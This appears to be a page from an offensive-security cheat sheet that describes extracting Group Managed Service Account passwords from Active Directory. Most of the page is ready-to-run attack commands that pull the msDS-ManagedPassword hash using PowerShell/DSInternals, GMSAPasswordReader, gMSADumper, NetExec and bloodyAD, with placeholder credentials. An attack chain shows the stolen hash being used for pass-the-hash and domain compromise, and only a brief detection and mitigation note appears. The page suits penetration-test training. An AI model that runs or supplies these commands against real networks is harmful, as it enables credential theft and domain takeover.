AD^:Active Directory

Attack #73 — gMSA Password Extraction

Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principals…

advancedupdated 2026-08-10NetExec · PowerShell

🔷 Attack #73 — gMSA Password Extraction


📖 How It Works

Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principals authorized to retrieve this password (defined in msDS-GroupMSAMembership) can extract the NTLM hash of the gMSA. If a gMSA has privileged access (e.g., DA-equivalent or DCSync rights), extracting its hash = domain compromise.


⚙️ Prerequisites

RequirementDetail
Authorized to retrieve gMSA passwordListed in msDS-GroupMSAMembership
Or compromise of an authorized serverServers hosting services running as gMSA

💻 Full Commands

# ── Find gMSAs ────────────────────────────────────────────────────────────────
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

# ── Check who can read gMSA password ──────────────────────────────────────────
Get-ADServiceAccount svc_gmsa -Properties PrincipalsAllowedToRetrieveManagedPassword |
  Select PrincipalsAllowedToRetrieveManagedPassword

# ── Read gMSA password (if authorized) ────────────────────────────────────────
# DSInternals:
Install-Module DSInternals -Force
$gmsa = Get-ADServiceAccount svc_gmsa -Properties msDS-ManagedPassword
(ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword

# ── GMSAPasswordReader (tool) ─────────────────────────────────────────────────
.\GMSAPasswordReader.exe --AccountName svc_gmsa
# ── gMSADumper (Linux) ────────────────────────────────────────────────────────
python3 gMSADumper.py -u low_user -p 'Password1' -d corp.local -l DC01.corp.local

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' --gmsa

# ── bloodyAD ──────────────────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  get object 'svc_gmsa$' --attr msDS-ManagedPassword

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4662Security Log (DC)Read access to msDS-ManagedPassword attribute

🔗 Attack Chain Context

[gMSA] ──→ Extract managed password hash → impersonate service account
         │
         ├──→ 🔑 gMSA may have DA-equivalent rights or DCSync permissions
         ├──→ 🔗 PtH with gMSA hash → lateral movement / privilege escalation
         └──→ 💀 Defeated by: restrict gMSA password retrieval delegation

✅ Attack #73 — gMSA Password Extraction complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.